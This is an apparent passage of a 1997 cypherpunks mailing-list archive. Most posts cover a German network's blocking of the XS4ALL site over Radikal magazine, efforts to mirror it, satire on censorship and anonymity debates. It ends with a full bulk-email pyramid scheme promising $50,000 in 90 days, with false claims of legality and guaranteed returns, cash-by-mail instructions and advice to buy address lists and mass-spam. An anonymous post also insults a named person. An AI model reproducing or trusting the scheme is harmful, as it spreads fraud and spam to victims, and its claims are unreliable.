lucifer at dhp.com (lucifer Anonymous Remailer) Date: Wed, 16 Apr 1997 11:46:32 -0700 (PDT) Subject: Mondex Message-ID: <199704161846.OAA20729@dhp.com> A warning label ought to be tattooed on Timmy May's head, saying `Warning: shit content under pressure'. o/ Timmy May <| / > From tank at xs4all.nl Wed Apr 16 12:44:16 1997 From: tank at xs4all.nl (tank) Date: Wed, 16 Apr 1997 12:44:16 -0700 (PDT) Subject: Xs4all website censored by German academic network Message-ID: <199704161936.VAA04978@xs1.xs4all.nl> GERMAN NATIONAL ACADEMIC PROVIDER BLOCKS XS4ALL WEBSITE IN THE NETHERLANDS Amsterdam, 16 april 1997 Since April 11th 1997, the dutch XS4ALL website www.xs4all.nl has been censored by Deutsches Forschungsnetz, the German academic Internet provider. This was confirmed today by Dr. Klaus-Eckart Maass, managing director of Deutsches Forschungsnetz in a press release. (http://www.dfn.de/dfn/sperrung.html). An Xs4all subscriber (http://www.xs4all.nl/~radikal) publishes a magazine which is considered to be illegal in Germany. The German State Prosecutor has 'informed' Deutsches Forschungsnetz about the presence of this magazine, which has resulted in the censorship of the entire XS4ALL website. Of the 6000 homepages on the XS4ALL, only one of those contains the Radikal magazine. Other XS4ALL homepages include artists, research materials, shops, activists and other information sources like the formerly censored Serbian radiostation B92 (http://www.xs4all.nl/~opennet) and its 24hr/day radiobroadcasts on Internet. All these 6000 homepages are now unavailable to the German academic Internet community. The decision to censor the xs4all webserver because of the radikal publication will probably cause and this censored magazine to become more popular on the Net. Censoring the Internet has, in most cases, proved to be counterproductive as many Internet users mirror the information on to their own sites and start to distribute it. In September 1996, a number of German providers organised a similar block of the XS4ALL website after complaints by the State Prosecutor. This block was lifted after four weeks, but resulted in a vast mirror network. Today, there are still more than 40 mirror websites of the radikal home page around the world. These mirror-sites were placed on the Net more than six months ago. Why does Deutsches Forschungsnetz only block the xs4all webserver when the information on this website is known to have been mirrored all around the world for at least six months? XS4ALL intends to send Mr. Klaus-Eckart Maass a message informing him about these mirrorsites. In principle he should then be obliged to block these other sites where radikal nr. 154 can also be found XS4ALL has not yet received any official communication from the German justice department, nor from the Dutch justice department. Our policy is that as a provider we are not in the position to judge whether this magazine is illegal in the Netherlands, therefore we do not interfere with the liberty of speech of our user. If there's any doubt about the legality of the publication in Holland, a Dutch court of law would be the proper place to remove these doubts. Therefore our user would have to be tried by the Dutch justice-department. Relevant information: Radikal magazine - http://www.xs4all.nl/~radikal/index.html Radikal mirrorlist - http://www.xs4all.nl/~tank/radikal/mirror.html DFN pressrelease - http://www.dfn.de/dfn/sperrung.html Dr. Klaus-Eckart Maass - http://rigel.dfn.de/adressen/maass.html Managing Director DFN - maass at dfn.d400.de DFN website - http://www.dfn.de -- XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe at xs4all.nl for Managing Director - - pub pgp-key 1024/A07C02F9 From null at myemail.net Wed Apr 16 14:52:30 1997 From: null at myemail.net (null at myemail.net) Date: Wed, 16 Apr 1997 14:52:30 -0700 (PDT) Subject: Mein Fuhrer Message-ID: <21522528000237@MyEmail.net> SOG-TO: www at dfn.de SOG-CC: webmaster at xs4all.nl,radikal at dds.nl,cypherpunks at toad.com Mein Fuhrer, I am happy to see that the wall around East Berlin was torn down to prepare for the new ElectroMagnetic Curtain that is currently being built around the whole of Germany. Surely the age is past when we can expect to hold power over our citizens by enslaving their mere bodies. WE MUST CONTROLTHEIR MINDS! Please be advised that the enemies of the CyberReich are already plotting to undermine the ElectroMagnetic Curtain. Herr Gilmore calls our efforts at maintaining ElectroMagnetic purity as "damage" which others on the InterNet must "route around." Herr May seems to be questioning our right to crush all electromagnetic emanations which are generated from ethnically inferior electromagnetic sources. Herr Hughes is is producing StegoDolls with paper and plastic scissors, in an obvious attempt to subconsciously corrupt the minds of Aryan children. (These StegoDolls have suspiciously large breasts, leading me to believe that they are meant to undermine the morals of adults, as well.) There are attempts being made to put mirrors in place to begin the formation of an organization known as InterNet Free Europe, in an attempt to allow our citizens' minds to immigrate beyond the walls of the ElectroMagnetic Curtain. However, our Western Allies are even now taking steps to seize control over the InterNet Domain registration system, placing it in the capable hands of the FCC. With these efforts and the ones being made to route technological development into increasingly narrow channels, we should be able to keep control of bandwidth in the hands of those with interests similar to our own. There should be no reason that we cannot control the citizens by a combination of 'shortages' of bandwidth, strict laws limiting the use of bandwidth to 'pure' purposes, and regulations which allow us to control the nature of encryption programs so that we can ferret out those who attempt to "route around" our control mechanisms. We must also take steps to limit our citizen's access to the dangerous materials contained in "The True Story of the InterNet." The following URL should be blocked immediately, as it contains pointers to "The Xenix Chainsaw Massacre" and "WebWorld ************************************************************************ This Anonymous email has been relayed by http://www.MyEmail.net/ MyEmail.Net is a free anonymous mailing service. No records indicating the identity of person(s) who originated this message are retrieved electronically, or as a requirement to submit. Your email address can be blocked to prevent further contact from this service, please refer to the URL above for instructions on how to do so. ************************************************************************ From canthony at info-nation.com Wed Apr 16 15:49:52 1997 From: canthony at info-nation.com (Charles Anthony) Date: Wed, 16 Apr 1997 15:49:52 -0700 (PDT) Subject: xs4all.nl In-Reply-To: Message-ID: <199704162249.RAA01826@bitstream.net> The German Academic Internet Provider, DFN, decided to block access to xs4all because it hosts a radical left-wing ezine called -Radikal magazine http://www.xs4all.nl/~radikal/index.html which is said to contain content in violation of german law. They are blocking the whole site though the ezine is only a minor portion of the content on their site they are being penalized The folks at the mag and xs4all are looking for people willing to put up mirror sites to thwart the DFN's efforts. Dr Klaus-Eckart Maass is apparently running point for the DFN-fielding calls and dealing with the press- here are a few mail to:links and URLs to add to the phone number already provided. DFN pressrelease - http://www.dfn.de/dfn/sperrung.html Dr. Klaus-Eckart Maass - http://rigel.dfn.de/adressen/maass.html Managing Director DFN - maass at dfn.d400.de DFN website - http://www.dfn.de From: harka at nycmetro.com Date: Wed, 16 Apr 1997 02:17:12 -0500 Subject: xs4all.nl To: cypherpunks at toad.com -----BEGIN PGP SIGNED MESSAGE----- The DFN - science network in Germany has blocked access to the dutch xs4all.nl server after an order of the Bundeskriminalamt (BKA), the german FBI. Users of DFN have confirmed that today. If somebody wants to follow up on it, the public relation office of DFN can be reached at (49) 030 - 884-29942 (Miss Quandel). Ciao Harka -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBM1MgGTltEBIEF0MBAQHUkAf+LUKqgm6dz7jhKQtrJPZsHk6PSZyGnK43 1xHprmRfk9yAuyKiXIPbkyEmM97h0Yczhv70ngGFVtRogm/LaGN0IiA33OY8GXVi sdmKG5u9kDt3fagWxglrw3xTKeff9orwUdUUVJfWG2mmNxtG3DkDCIxlEIRM1sP+ ML3N1KayyRkZLwBVu/kpI+8I3dswYTApTs9GnBTRGssdXbitBWTBsXvRREPpTufO WEAXdwvZQf8Cr4PGco/dtvyiVE+wZhOUblpcpEqBVkLJp+pmRxxg8GcUu7FEANKi FqehcaPpQnwsHmY9ujFEUJaiwa3XxVDUBRVt+FHAO3/JkmqkL12dpA== =8wdj -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... ********************************************************************** Charles Anthony canthony at info-nation.com http://www.info-nation.com -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3a mQBtAzM63W8AAAEDAMRi15+AIXC0j2R7IrdeNhM7AQXPGAYAd2mCNhKrQa09fICZ 4jEpTd0biV+3nMAL6/6pWUm1AmFPS/FngecmXkrmMPlbgv3O0dapbJ2/FQf3XUtH Z5AEOdKL9xK5Ml7dCQAFE7QIY2FudGhvbnmJAHUDBRAzOt1wi/cSuTJe3QkBAemw AwC1DGxodXVPkA1D6uLdqFvP5H3/98i/gM2x9IvvfZscWszwrJuOhkYyd71TF7K5 gy55OqPp+Rf77On0XhmHoi98Y4HOSTHYPhN9o9zQQ+pn/4HmxQ4Tbtih2sCDNvmG b2g= =0pHR -----END PGP PUBLIC KEY BLOCK----- From enystrom at aurora.nscee.edu Wed Apr 16 16:35:01 1997 From: enystrom at aurora.nscee.edu (Eric Nystrom) Date: Wed, 16 Apr 1997 16:35:01 -0700 (PDT) Subject: Introducing newbies to encryption (was: Re: anonymous credit) In-Reply-To: <199704160242.VAA00733@manifold.algebra.com> Message-ID: On Tue, 15 Apr 1997 ichudov at algebra.com wrote: > > secure email. Is there an offline mail reader for standard Unix systems > > that would run on a platform like you describe? > > Yes, there is one. Okay, what is it, what are the requirements, where do I find it, does it require special Unix software (and if so, what is that, and where do I find it too)? -Eric -- Thus the time may have come to abandon the cool, measured language of technical reports -- all that talk of "perturbations" and "surprises" and "unanticipated events" -- and simply blurt out: "Holy shit! Ten thousand years! That's incredible!" -- Kai Erikson, _A_New_Species_of_Trouble_, 1994. From real at freenet.edmonton.ab.ca Wed Apr 16 16:37:34 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Wed, 16 Apr 1997 16:37:34 -0700 (PDT) Subject: Mondex In-Reply-To: <199704161846.OAA20729@dhp.com> Message-ID: I think Vulis needs each of us to send ten copies of this back to him. On Wed, 16 Apr 1997, lucifer Anonymous Remailer wrote: > A warning label ought to be tattooed on Timmy May's head, > saying `Warning: shit content under pressure'. > > o/ Timmy May > <| > / > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From harka at nycmetro.com Wed Apr 16 17:17:43 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Wed, 16 Apr 1997 17:17:43 -0700 (PDT) Subject: Shocked e-mail Message-ID: -----BEGIN PGP SIGNED MESSAGE----- In> SHOCKWAVE Security BUG EXPOSES E-MAIL In> ----------------------------------------- In> Comet Hale-Bopp must be a portent of Web security disasters. This site In> details the next one - if you are running Netscape with the insanely In> popular Shockwave plug-in on any platform, the bad guys can read your In> e-mail folders. In addition, no matter which browser you are running, In> your corporate intranet could be vulnerable even if located behind In> a firewall. Fortunately, a security fis available. In> Problem:-http://www.webcomics.com/shockwave/ In> Fix:-http://www.macromedia.com/shockzone/info/security.html In> Enjoy it, See you soon. In> Arun Tripathi Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ ... Link in support of Free Speech: http://www.xs4all.nl/~radikal/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBM1VuJjltEBIEF0MBAQFt3gf/acKyaf813olMN334Q/83sWpbIoOjXWWJ q5PkyqFgAI2oTyUUXQIX/KugWxXhq0uyjJq+a9fLn9RKJQ3eVcm+Lccn+1k/EmSv hC68LfS+YMS+cGnU/VA9GYlk94Sf/PcQA5fk3wI21DUd4xjxR1EnZ+1TW8U1NbcU 3j3/T5MEFP4FymgACozCk0lY8MMBEtGcReYHJICHP4/tgW8z18/7lzegl0wNP0F6 eS1bVwf7ub+sIsnXvD0Mqvyb1f0KUFqJOBbqKA6LJtm7dcHAIWzpl/k05Ekl5xRc 1YBnkFbjQspsBSsULwVWS7eEQ43IpU0UC21Qwp5UZ7DYlMad7bjUQA== =IHkF -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From dlv at bwalk.dm.com Wed Apr 16 18:03:06 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 16 Apr 1997 18:03:06 -0700 (PDT) Subject: Digi-Cash IPO! $1.60 per share ( remove ) In-Reply-To: <199704160443.XAA02051@manifold.algebra.com> Message-ID: ichudov at algebra.com (Igor Chudov @ home) writes: > i think that advertiser funded digital cash was first described > by dr dimitri vulis kotm, in his recent post to cypherpunks. > > too bad he did not patent it. Patents and copyrights violate true free speech. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From ichudov at algebra.com Wed Apr 16 18:08:21 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Wed, 16 Apr 1997 18:08:21 -0700 (PDT) Subject: 2nd RFD: sci.chem.organic.synthesis moderated Message-ID: <199704170104.UAA11294@manifold.algebra.com> Koen Van Aken (cheakv at panther.gsu.edu) wrote in <861165888.2842 at isc.org>: * * At the end of each article, a full name and e-mail address is * mandatory. Listing of position and association is optional but * strongly encouraged. ... snip ... * CHARTER: sci.chem.organic.synthesis * This proposal is pro moderation to filter out unwanted (see not * permitted postings) and 'anonymous' (see signature policy) messages. * Although there are some disadvantages associated with moderated * groups - some people compare it with censorship and it slows down * the discussion - , sci.* groups have been plagued before with off- * topic discussions which eventually turned users away. I fail to see any reason why you need to filter out "anonymous" email. I think that restricting anonymous email goes a long way against ability to discuss important issues in general. I find it overly restrictive and unwarranted. Your explanation as to why you find it necessary to exclude anonymous postings from your particular newsgroup will be much appreciated. igor From dlv at bwalk.dm.com Wed Apr 16 19:50:07 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 16 Apr 1997 19:50:07 -0700 (PDT) Subject: Neo-Nazis indict Compuserve official In-Reply-To: Message-ID: "Timothy C. May" writes: > increased monitoring of lists like this, Germany may place my name on a > list of those to be arrested if they enter Germany. Or, as the recent case > of a publisher of Neo-Nazi materials in the U.S. showed, for detention and > subsequent extradition to Germany upon entry into any European Union > nation. In fact, I'll bet that Black Unicorn is on such a list; if they can > figure out what his real name is, and if he strays into EU territory....)) Yikes! We better not post it to this mailing list, then. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From rah at shipwright.com Wed Apr 16 20:24:11 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 16 Apr 1997 20:24:11 -0700 (PDT) Subject: NEW: fpi - Freedom Press International Message-ID: --- begin forwarded text Date: Wed, 16 Apr 1997 00:02:20 -0500 Reply-To: Freedom Press Sender: NEW-LIST - New List Announcements From: Freedom Press Subject: NEW: fpi - Freedom Press International To: NEW-LIST at LISTSERV.NODAK.EDU fpi on majordomo at tao.ca Freedom Press FREEDOM PRESS is the world's oldest anarchist publishing group (founded in 1886). We have therefore an extensive and growing archive of material. Further information about us will be incorporated into messages on the list. Messages on the list come from FREEDOM PRESS and will consist of extracts from our publications with an emphasis on news. You should expect to receive in the region of 2 or 3 messages per month. To subscribe to fpi, send the following command: subscribe fpi to majordomo at tao.ca Owner: Freedom Press freedom at tao.ca ------- Use this information at your own risk. For more information and disclaimer send E-mail to LISTSERV at LISTSERV.NODAK.EDU with the command INFO NEW-LIST in the body. --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From null at myemail.net Thu Apr 17 01:55:18 1997 From: null at myemail.net (null at myemail.net) Date: Thu, 17 Apr 1997 01:55:18 -0700 (PDT) Subject: InterNet Free Terra Message-ID: <08550355601336@MyEmail.net> A Web page named "InterNet Free Terra" can be accessed at the URL: http://www3.sk.sympatico.ca/carljohn/ It has been set up in order to provide URL pointers to Mirrors of Web sites which have been subjected to censorship by governmental authorities. Its first category is "InterNet Free Europe" and the first entry is a list of Mirror sites for the Radikal Web site. Anyone who wishes to have Mirror site pointers added for other government censored Web sites may send mailto:carljohn at sk.sympatico.ca Those submitting Mirror site pointers may want to include pointers to information and/or press releases regarding the date and details of the censorship action, as there are plans to include access to these details, as well as to the pointers themselves. ************************************************************************ This Anonymous email has been relayed by http://www.MyEmail.net/ MyEmail.Net is a free anonymous mailing service. No records indicating the identity of person(s) who originated this message are retrieved electronically, or as a requirement to submit. Your email address can be blocked to prevent further contact from this service, please refer to the URL above for instructions on how to do so. ************************************************************************ From nobody at huge.cajones.com Thu Apr 17 03:50:05 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Thu, 17 Apr 1997 03:50:05 -0700 (PDT) Subject: Neo-Nazis indict Compuserve official Message-ID: <199704171050.DAA19976@fat.doobie.com> Alan Olsen wrote: > > My understanding is that they were upset about Compu$erve carrying a game > containing such images. (The quote seems to be missing a paragraph.) The > game sounds suspiciously like Castle Wolfenstien 3D (i.e. "Doom 0".) to me. "Those who do not understand Doom are history and repeat the level." Six-Inch Nails From 3umoelle at informatik.uni-hamburg.de Thu Apr 17 03:54:49 1997 From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=) Date: Thu, 17 Apr 1997 03:54:49 -0700 (PDT) Subject: Internet Free Europe In-Reply-To: Message-ID: <9704171054.AA39734@public.uni-hamburg.de> http://nanjing.spc.uchicago.edu:8001/ is a proxy directed against Chinese internet censorship. It comes with Unix sources. From rose at lords.com Thu Apr 17 04:16:23 1997 From: rose at lords.com (Rose) Date: Thu, 17 Apr 1997 04:16:23 -0700 (PDT) Subject: No Subject Message-ID: <199704171115.EAA00880@cascade.pacificrim.net> **************************************************************************** *This message provided by BULK E-MAIL. If you would like to be removed from* *further mailings, please return this message with "remove in the subject * *line. This service will not contact you again. Thank You For Your Patience* **************************************************************************** Dear friend, The following income opportunity is one you may be interested in taking look at. It can be started with VERY MINIMAL outlay and the income return is TREMENDOUS! <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> You are about to make at least $50,000 - In less than 90 days Read the enclosed program...THEN READ IT AGAIN!... <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave some thought and study to it. My name is Christopher Erickson. Two years ago, the corporation I worked at for the past twelve years down-sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year, I incurred many unforeseen financial problems. I owed my family, friends, and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. I truly believe it was wrong for me to be in debt like this. AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER....FINANCIALLY!!! In mid-December, I received this program via email. Six months prior to receiving this program I had been sending away for information on various business opportunities. All of the programs I received, in my opinion, were not cost effective. They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not. One claimed I'd make a million dollars in one year...it didn't tell me I'd have to write a book to make it. But like I was saying, in December of '95 I received this program. I didn't send for it, or ask for it, they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I could invest as much as I wanted to start, without putting me further in debt. After I got a pencil and paper and figured it out, I would at least get my money back. After determining that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT". Initially I sent out 10,000 emails. It only cost me about $15.00 for my time on-line. The great thing about email is that I didn't need any money for printing to send out the program, only the cost to fulfill my orders. I am telling you like it is, I hope it doesn't turn you off, but I promised myself that I would not "rip-off" anyone, no matter how much money it cost me! A couple of good programs to help do this are Ready Aim Fire, an email extracting program @ http://microsyssolutions.com/raf/ and Cyberpromotions who has a pop3 ISP account specifically for direct emailing at http://www.cyberpromo.com In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1. When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!" My first step in making $50,000 in 20 to 90 days was done. By January 30th, I had received 196 orders for REPORT #2. If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS. IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL." Well, I had 196 orders for REPORT #2, 96 more than I needed. So I sat back and relaxed. By March 19th, of my mailing of 10,000, I received $58,000 with more coming in every day. I paid off ALL my debts and bought a much needed new car. Please take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember, it wont work if you don't try it. This program does work, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. It doesn't work, you'll lose out on a lot of money! REPORT #2 explains this. Always follow the guarantee, 15 to 20 orders for REPORT #1, and 100 or more orders for REPORT #2 and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS !!! If you choose not to participate in this program, I'm sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate, follow the program and you will be on your way to financial security. If you are a fellow business owner and you are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID! Sincerely, Christopher Erickson PS Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME! "THREW IT AWAY" "I had received this program before. I threw it away, but later wondered if I shouldn't have given it a try. Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program. Eleven months passed, then it came. I DIDN'T throw this one away. I made $41,000 on the first try." Dawn W., Evansville, IN "NO FREE LUNCH" "My late father always told me, 'remember, Alan, there is no free lunch in life. You get out of life what you put into it.' Through trial and error and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group of people to email it to. So far this year, I have made over $63,000 using this program. I know my dad would have been very proud of me." Alan B., Philadelphia, PA A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur. Let me tell you a little about myself. I had a profitable business for ten years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate...because many of you know from first hand experience. There were more failures and bankruptcies than ever before. The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER." The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that. You have just received information that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT." You can make more money in the next few months than you have ever imagined. I should also point out that I will not see a penny of your money, nor anyone else who has provided a testimonial for this program. I have already made over FOUR MILLION DOLLARS! I have retired from the program after sending out over 16,000 programs. Now I have several offices which market this and several other programs here in the US and overseas. By the Spring, we wish to market the 'Internet' by a partnership with AMERICA ON LINE. Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to email a copy of this exciting program to everyone that you can think of. One of the people you send this to may send out 50,000...and your name will be on every one of them!. Remember though, the more you send out, the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent, IT IS UP TO YOU NOW! "THINK ABOUT IT" Before you delete this program from your mailbox, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! Definitely get back what you invested. Any doubts you have will vanish when your first orders come in. IT WORKS! Paul Johnson, Raleigh, NC HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$ Let's say that you decide to start small, just to see how it goes, and we'll assume you and all those involved send out 2,000 programs each. Let's also assume that the mailing receives a .5% response. Using a good list the response could be much better. Also many people will send out hundreds of thousands of programs instead of 2,000. But continuing with this example, you send out only 2,000 programs. With a 5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those .5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. The .5% response to that is 1,000 orders for REPORT #3. Those 1,000 send out 2,000 programs each for a 2,000,000 total. The .5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!!! Your total income in this example is $50 + $500 + $5000 + $50,000 for a total of $55,550!!!! REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000. Believe me, many people will do that and more! By the way, your cost to participate in this is practically nothing. You obviously already have an internet connection and email is FREE!!! REPORT#3 will show you the best methods for bulk emailing and purchasing email lists. THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail. If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT! Simply follow the instructions, and your dream will come true. This multi-level email order marketing program works perfectly...100% EVERY TIME. Email is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW!! The longer you wait, the more people will be doing business using email. Get your piece of this action!! MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-level Methods by the mid to late 1990's. This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM. Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing. INSTRUCTIONS We at Erris Mail Order Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME. I am sure that you could use $50,000 to $125,000 in the next 20 to 90 days. Before you say "Bull", please read the program carefully. This is not a chain letter, but a perfectly legal money making opportunity. Basically, this is what we do: As with all multi-level business, we build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multi- level business partners, and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling. You do it privately in your own home, store or office. This is the GREATEST Multi-level Mail Order Marketing anywhere: Step (1) Order all four 4 REPORTS listed by NAME AND NUMBER. Do this by ordering the REPORT from each of the four 4 names listed on the next page. For each REPORT, send $5 CASH and a SELF- ADDRESSED, STAMPED envelope (BUSINESS SIZE #10) to the person listed for the SPECIFIC REPORT. International orders should also include $1 extra for postage. It is essential that you specify the NAME and NUMBER of the report requested to the person you are ordering from. You will need ALL FOUR 4 REPORTS because you will be REPRINTING and RESELLING them. DO NOT alter the names or sequence other than what the instructions say. IMPORTANT: Always provide same-day service on all orders. Step (2) Replace the name and address under REPORT #1 with yours, moving the one that was there down to REPORT #2. Drop the name and address under REPORT #2 to REPORT #3, moving the one that was there to REPORT #4. The name and address that was under REPORT #4 is dropped from the list and this party is no doubt on the way to the bank. When doing this, make certain you type the names and addresses ACCURATELY! DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!! Step (3) Having made the required changes in the NAME list, save it as a text (.txt) file in it's own directory to be used with whatever email program you like. Again, REPORT #3 will tell you the best methods of bulk emailing and acquiring email lists. Step (4) Email a copy of the entire program (all of this is very important) to everyone whose address you can get your hands on. Start with friends and relatives since you can encourage them to take advantage of this fabulous money-making opportunity. That's what I did. And they love me now, more than ever. Then, email to anyone and everyone! Use your imagination! You can get email addresses from companies on the internet who specialize in email mailing lists. These are very cheap, 100,000 addresses for around $35.00. IMPORTANT: You won't get a good response if you use an old list, so always request a FRESH, NEW list. You will find out where to purchase these lists when you order the four 4 REPORTS. ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!! REQUIRED REPORTS ***Order each REPORT by NUMBER and NAME*** ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER ________________________________________________________ REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" ORDER REPORT #1 FROM: RWD&CO P.O. Box 2225 Friday Harbor, WA 98250 ________________________________________________________ REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES" ORDER REPORT #2 FROM: M.S.DEWLES DISTRIBUTOR P.O.BOX 29322 PARMA, OHIO 44129 ________________________________________________________ REPORT#3 "SOURCES FOR THE BEST MAILING LISTS" ORDER REPORT #3 FROM: DSN 7154 West State #298 Boise, ID 83703 ___________________________________________ REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS" ORDER REPORT #4 FROM: WCH MARKETING 6225 RIPTIDE DRIVE WILMINGTON, N.C. 28403 ________________________________________________________ CONCLUSION .I am enjoying my fortune that I made by sending out this program. You too, will be making money in 20 to 90 days, if you follow the SIMPLE STEPS outlined in this mailing. To be financially independent is to be FREE. Free to make financial decisions as never before. Go into business, get into investments, retire or take a vacation. No longer will a lack of money hold you back. However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it. It is much easier to say "NO" than "YES", and this is the question that you must answer. Will YOU ignore this amazing opportunity or will you take advantage of it? If you do nothing, you have indeed missed something and nothing will change. Please re-read this material, this is a special opportunity. If you have any 